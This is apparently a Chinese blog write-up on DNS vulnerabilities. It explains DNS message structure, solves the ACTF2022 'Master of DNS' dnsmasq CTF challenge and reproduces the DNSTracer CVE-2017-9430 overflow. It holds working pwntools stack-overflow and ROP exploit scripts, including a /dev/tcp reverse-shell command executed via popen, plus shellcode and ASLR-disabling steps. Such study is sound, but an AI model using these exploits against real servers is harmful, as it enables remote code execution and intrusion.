DNS漏洞初探
DNS协议
DNS请求和响应的基本单位都是DNS报文(Message),并且每个报文由5段Section构成:
DNS Header:DNS头部区域,每个DNS报文都必须拥有的一部分,长度固定为12个字节
ID:同一个查询或响应对应的16位ID
QR:查询(0);响应(1)
Opcode:标准查询或者反向查询
TC:UDP长度大于512时截断并使用TCP再次请求
QDCOUNT:查询数量
ANCOUNT:响应数量
Question:DNS查询区域,存放向服务器查询的域名数据,一般情况下只有一条Entry
查询区域主要由目标查询域名,查询类型和查询类组成
格式:length + string
Entry结构:
Answer:DNS响应区域,由资源记录的域名,RDATA的类型,RDATA类,TTL值,RDARA长度和RDATA组成
Authority:DNS认证区域
Additional:DNS附加区域
后三个区域部分格式一致,每个部分都由若干实体组成,每个实体就是一条RR(资源记录)
RR(ResourceRecord)资源记录:
NAME:指定该条记录对应的域名
TYPE:资源记录类型
CLASS:指定请求的类型,对应Question的QCLASS,常用值:IN,值为0x001
TTL:资源有效期,你可以将该条RR缓存TTL秒,TTL为0表示该RR不能被缓存
RDLENGTH:两字节非负整数,指定RDATA字节长度
RDATA:长度和结构都可变得字段,具体结构取决于TYPE字段指定的资源类型
DNS常见资源记录类型:NS记录,A记录,CNAME记录
NS记录:指定某个域的权威DNS
A记录:域名与IP的对应
CNAME记录:别名记录,允许奖多个记录映射到同一台计算机上
ACTF2022 Mater of DNS
获取源软件
首先查看DNS的版本
通过版本号获取软件源码:
https://thekelleys.org.uk/dnsmasq/
拥有了源码后,我们将自己进行编译,而编译又受制于编译器的版本和编译器选项
检查文件保护
32位程序,未开启canary和PIE
修改Makefile中编译选项:
==》修改为:
需要关闭canary与PIE
-m32:生成32伪代码
-fno-stack-protector:关闭canary
-no-pie:关闭PIE
-O2:编译优化
编译
make
编译完成后的二进制程序将会在软件源码的src路径下:dnsmasq
二进制对比分析
通过二进制对比软件BinDiff检查不同之处
在DinDiff中导入两个程序的数据库文件(IDA分析后产生的文件)
等待分析结果:
发现有一小部分不相同,查看不相同的位置:
相似度由低到高排序
Similarity为1是相同,数值越低表示相似度越低
经过对所有不相似结果的检查判断,最终锁定于extract_name函数中
在Master of DNS中的sub_0804F345中多出了memcpy函数
漏洞确定
通过IDA静态分析得知,该memcpy函数为往栈上拷贝内容,dest是栈上的一段缓冲区
通过在dnsmasq项目中搜索extract_name函数:
grep -rn "extract_name" *
进入src/rfc1035.c文件中查看函数:
得知memcpy函数的src参数为extract_name函数的name参数
对sub_804F345函数进行分析:
最大长度为0x400
域名通过’.’分割,后面是一个将大写字符转换成小写字符
GDB动态调试
使用动态调试确定函数功能是否如自己所想
#终端1
sudo ./start.sh #(1)
#终端2
sudo ps -ef |grep dns #获得对应PID (2)
dig @127.0.0.1 -p 9999 baidu.com #执行正常的DNS查询 (6)
#终端3
gdb --pid [PID] #(3)
b * 0x804F444 #下断点于memcpy函数处 (4)
c #(5)
正如静态分析一样,src中为要查询的域名;
由于比dnsmasq添加了memcpy函数,猜测为栈溢出相关漏洞==》
尝试查询超长域名:没有出现程序崩溃,但是出现了两种报错
1、域名长度超过255个字符
2、域名每个段标签长度超过63个字符,也就是两个”.”之间的字符串
流量调试
dig @127.0.0.1 -p 9999 baidu.com
wireshark流量捕获
启动wireshark,监听网卡(我使用的ubuntu虚拟机使用的是桥接模式,所以我会选择WLAN网卡)
过滤DNS流量:
由数据包可知,构造数据包的数据有:
头:随意的Transaction ID + 01 20 00 01 00 00 00 00 00 01
尾:00 01 00 01
尝试溢出
域名需要控制每个label(段标签)为63字节(0x3f)
需要1字节的label length
==》每个label需要0x40
name总长度不能大于0x400
==》总共可以构造16个label
查看IDA中dest距离栈底一共0x381字节
from pwn import *
io = remote('127.0.0.1',9999,typ='udp')
head = bytes.fromhex("000001200001000000000001")
payload = b'\x3f'+b'A'*0x3f
payload = payload * 14 + b'\x04' + b'aaaa' + b'\x04' + p32(0xdeadbeef) + b'\x00'
end = bytes.fromhex("00010001")
io.send(head + payload + end)
通过gdb调试:
成功触发栈溢出,并且劫持返回地址
漏洞利用
由师傅们的文章知晓udp协议中不能直接执行system(‘/bin/sh’);
所以考虑将shell反弹至vps上(或wegt,nc等);
程序中并无system函数;
但是有popen函数,popen函数会将第一个参数放到新fork的进程中执行并抓取返回结果==》命令执行
第二个参数为字符串,固定为”r”,”w”等,表示读写
popen("touch /tmp/x","r");
接下来就是缺一个可以执行的命令,为了反弹shell至vps==》
需要将要执行的命令写到bss段上==》
在程序中有这么这么一段链,只要能控制eax寄存器就能实现任意地址写
所以还需要一个控制eax的gadget:
并且,发送的域名中还不能有\x00和\x2e==》需要添加一个地址最后为\x2e的无用gadget
from pwn import *
io = remote('127.0.0.1',9999,typ='udp')
head = bytes.fromhex("000001200001000000000001")
end = bytes.fromhex("00010001")
magic = 0x804b2b1
eax_ret = 0x08059d44
bss=0x80a7070
popen_addr = 0x804ab40
exit_addr = 0x804ad30
w_addr=0x080A6660
payload = b'\x3f'+b'A'*0x3f
payload = payload * 14 + b'\x04' + b'aaaa'
payload += p32(eax_ret) + p32(bss)#控制eax寄存器的值为bss_addr
cmdarray = []
cmd = b'/bin/sh -i >& /dev/tcp/xx.xx.xx.xx/x 0>&1'.ljust(44,b'\x00') #44
#将命令分为若干4字节
for i in range(int(len(cmd)/4)):
cmdarray.append(u32(cmd[i:i+4]))
#将执行命令写至bss段
for i in range(6):
payload += p32(magic) + p32(value[i] ^ 0xffffffff)
payload += b'\x3f'
payload += b'\xa9\x04\x08' #nop_ret
for i in range(6,11):
payload += p32(magic) + p32(value[i] ^ 0xffffffff)
#最后执行popen("命令","w")
payload += p32(popen_addr) + p32(exit_addr) + p32(bss+4) + p32(w_addr) + b'aaaa\x00'
io.send(head + payload + end)
DNS服务漏洞搜集及简述
CVE-2017-9430
DNSTracer 1.9缓冲区溢出
相关链接:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9430
#exp:
https://www.exploit-db.com/exploits/42424
描述:DNSTracer是用来跟踪DNS解析过程的应用程序;DNSTracer 1.9及之前的版本中存在栈缓冲区溢出漏洞;
攻击者可借助带有较长参数的命令行利用该漏洞造成拒绝服务攻击,出现原因为较长参数argv[0]与strcpy函数的处理不当造成。
编译安装DNSTracer
wget http://www.mavetju.org/download/dnstracer-1.9.tar.gz
tar zxvf dnstracer-1.9.tar.gz
cd dnstracer-1.9
./configure
make && sudo make install
#检验是否安装完成
dnstracer -v
确定漏洞点:dnstracer.c
main:
argv大小为:
漏洞分析:
使用strcpy函数将argv[0]复制到数组argv0,并没有做检查,导致当argv[0]大于1024字节时将触发栈溢出
触发栈溢出漏洞:
dnstracer -v $(python -c 'print b"A"*1025')
由于在未改变编译选项,所以现在的程序将会是保护全开的
为此,与上文中DNSmasq编译类似,关闭canary与PIE
Makefile:
CC = gcc -fno-stack-protector -no-pie -z execstack -D_FORTIFY_SOURCE=0
再次编译即可:
然后在root权限下关闭ASLR即可
sudo su
echo 0 > /proc/sys/kernel/randomize_va_space
动态调试溢出长度:
gdb dnstracer
cyclic 1200
#设置参数
set args [垃圾数据]
r
在调试途中还学习到可以直接使用pwntools设置argv
from pwn import *
io=process(argv=['程序名','自定义数据'……])
将成功覆盖返回地址:
==》得出溢出长度为1096
gdb验证:
set args aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbb
r
成功劫持返回地址:
并且在测试途中还发现了一个有趣的东西
当我选择只传入1096字节的数据时:
并且rbx数据的内容是可控的==》经过计算得知1048字节后即为rbx数据,再之后就是r12~r15的数据
set args aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbccccccccddddddddeeeeeeeeffffffffgggggggg
若将rbx直接设置为shellcode将会直接跳转至shellcode,但是并不能执行,因为在该段内存空间并没有执行权限
set $rbx="jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05"
但是并没有执行权限
故,此路暂时不通,虽然暂时不能利用获得shell,但是通过已经了解了改漏洞的成因和调试方法即可(实在太太菜连shell都拿不到)……(待日后我突然开窍了就懂利用了再来补充),并且在阅读exp可知,payload本质上就是垃圾数据+jmp esp+shellcode(嘴硬)
CVE-2020-1350
Windows DNS漏洞
相关链接:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1350
漏洞描述:DNS.exe在处理畸形的DNS Sig消息时,由于对数据包的字段检验不合格,将导致整型溢出,进而导致堆溢出。
漏洞抽象模型:
void Examples(char* in)
{
unsigned short len_p1 = len(in.p1); //假设len_p1=0xFFD0
unsigned short len_p2 = len(in.p2); //假设len_p2=0x40
unsigned short len_p = len_p1 + len_p2; //相加后高位数据被丢弃==》0x10010==》0x10
char* buf = (char *)malloc(len_p); //申请0x10
memcpy(buf, in.p1, len_p1); //导致堆溢出
}
DNS.exe:Windows server 2008
漏洞发生于SigwireRead函数:
该函数用于处理SIG类型的响应包,RR_AllocateEx用于分配空间,并且分配的大小由CX寄存器传入,CX寄存器只有16 bit,大小为0~65535,使用整型溢出构造size>65535,再由memcpy函数实现堆溢出。
其他缓冲区溢出漏洞
受影响版本:DNSmasq < 2.83
CVE-2020-25681:
漏洞描述:位于sort_rrset()中的堆溢出漏洞
函数接受响应数据包(header),数据包长度(plen)
rrset是指向资源记录集合中RR数组的指针
rrsetidx是集合中的RR数
rr_desc是指向与RRset关联的RR类型的描述符指针
buff1与buff2为两个缓冲区,大小都为2050
CVE-2020-25682:
漏洞描述:位于extract_name()中的缓冲区溢出漏洞
CVE-2020-25683:
漏洞描述:位于rfc1035.c:extract_name()中数据长度未检查导致使代码可以在get_rdata()中出现以负大小执行memcpy()的堆溢出漏洞
CVE-2020-25687:
漏洞描述:位于rfc1035.c:extract_name()中数据长度未检查导致使代码可以在sort_rrset()中出现以负大小执行memcpy()的堆溢出漏洞
总结
对于DNS相关漏洞的挖掘初探,虽然很多漏洞并不能复现成功,算是不虚此行(嘴硬),但是也是定位了漏洞所在位置;
并通过复现相关漏洞编号,了解到可以通过新(补丁后),老程序对比定位漏洞位置;对于DNS数据包的构造相关知识;对于DNS程序的初步动态调试。